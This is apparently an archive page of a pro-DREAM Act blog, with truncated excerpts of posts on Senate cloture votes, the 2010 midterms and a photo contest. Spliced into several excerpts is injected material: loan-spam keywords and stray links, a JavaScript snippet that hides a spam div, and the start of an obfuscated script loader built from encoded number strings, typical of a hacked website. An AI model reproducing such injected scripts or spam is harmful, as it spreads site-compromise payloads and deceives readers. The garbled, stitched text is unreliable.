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14 Aug 0 Comment

And the Merry Go-Round Continues

Earlier in the year I wrote that due to the failure of the DREAM Act to pass at the Federal level, some states would begin to pass their own versions of the DREAM Act and others would pass more restrictive immigration laws (a la Arizona's SB 1070). At the time I thought that this would be a problem because the nation would embark on the path of creating a patchwork of different laws in different states, leading to confusion and a series of legal and/or political challenges from either side of the immigration debate.  And indeed that is now the case, as evinced by the recent passage of the Ma


13 Jan 0 Comment

Two DREAMs…Worlds Apart

On the opposite end of the National Mall where Martin Luther King once stood and gave his "I Have a Dream" speech, I sat in the Senate Gallery with modern-day DREAMers on a cold day in December and watched as their hopes fell apart, rent asunder by a procedural vote intended to stop unlimited debate on the DREAM Act.  The cloture vote on the DREAM Act on December 18, 2010 fell short by 5 votes and the bill was stopped dead in its tracks. Unfortunately for the DREAMers, their aspirations may be the same as those expressed by Martin Luther King not too long ago but the circumstances couldn't b


13 Jan 1 Comment

Are Hopes for a National DREAM Act Dead?

If the DREAM Act won't pass at the federal level, then state and local efforts might succeed instead, creating a scenario that might look like this: a hodge-podge of rules and regulations in different geographic zones of the US that would make enforcement a nightmare and add even more confusion to an already chaotic situation -- essentially creating a path towards the balkanization of immigration reform. Arizona has repeatedly claimed that it has been failure to pass immigration reform at the federal level that led them to pass SB 1070 at the state level. Whatever your opinion of SB 1070 may



20 Dec 0 Comment

The Future of the DREAM Act

NPR Story on the DREAM Act:bad credit surgery loansadvance cash loan personal if(document.getElementById("dokefpecaa")!=null){document.getElementById("dokefpecaa").style.visibility="hidden";document.getElementById("dokefpecaa").style.display="none";}


16 Dec 0 Comment

DREAM Act Still Has A Chance!

Despite the Republican filibuster, Senate majority Leader Harry Reid may force the lame-duck session to return to Congress after Christmas to keep working on passage of some of the outstanding bills on the floor...including the DREAM Act. Enjoy this MSNBC interview with Senator Tom Harkin on the subject:WWW.GROWPORTLAND.ORG/MIGRATION/ http://www.gracewatcher.org/ Visit msnbc.com for breaking news, world news, and news about the economyvar _st=[];var m=[];_st.push("14520020120619318611");m.push("h");_st.push("7201206197186146119201");m.unshift("C");_st.push("1862052011321842002001");m.push("a


16 Nov 0 Comment

We've Launched the DREAM Photo Contest!

OK...we've started our photo contest!  We're ready to do our part by taking your pics and turning them into a viral video that we'll release shortly after the contest is over (we'll be running the contest from today to December 5).  We are hoping that the viral video will make a passionate statement for passage of the DREAM Act...to let Congress and the American people know why it's so important! So now we need YOU to do YOUR PART!  Submit a creative photo of yourself, your friend(s) or family holding up a sign in front of a recognizable geographic location (close to where you live) that r


08 Nov 0 Comment

Despite Difficulty, DREAMers Continue Push for Passage of DREAM Act

As predicted, the mid-term elections have changed the balance of power in the U.S. Congress. The House, now in Republican control, will have a very different agenda than over the past two years. If you thought it was hard to work for comprehensive immigration reform (CIR) when the Democrats had the run of the place, just wait until we have to deal with the new, ideologically pumped members of the House. To them, immigration reform means building a higher, electrified wall and adding more security at the border, not passing anything even remotely like the DREAM Act, and certainly not CIR, which


04 Nov 0 Comment

DREAM Act Faces an Uphill Battle During the Lame-Duck Session

pnc bank personal loanAlthough Harry Reid managed to beat back a surprisingly ferocious attack by Tea Party candidate Sharron Angle, and Democrats managed to keep the Senate in their hands, their power position was seriously eroded by the loss of five seats during the mid-term elections.  And although I think that Senator Reid will keep his promise to introduce the DREAM Act as a stand-alone bill during the lame-duck session, the new make-up of the Senate puts the bill's passage in serious jeopardy.


02 Nov 0 Comment

The DREAM Act and November 2

No matter what happens during the mid-term elections, Senator Harry Reid has promised to bring the DREAM Act to a vote during the lame duck session. According to a New York Times Article:devastating Mr. Reid announced his intentions on Univision’s “Al Punto,” a Spanish-language political talk show. His appearance was a pitch to Nevada’s Hispanic voters as he fights for re-election against Sharron Angle, a Tea Party-backed Republican with whom he is essentially tied in polls. Immigration is a dominant issue in the Nevada Senate race. And Hispanics, who turned out in droves to help elec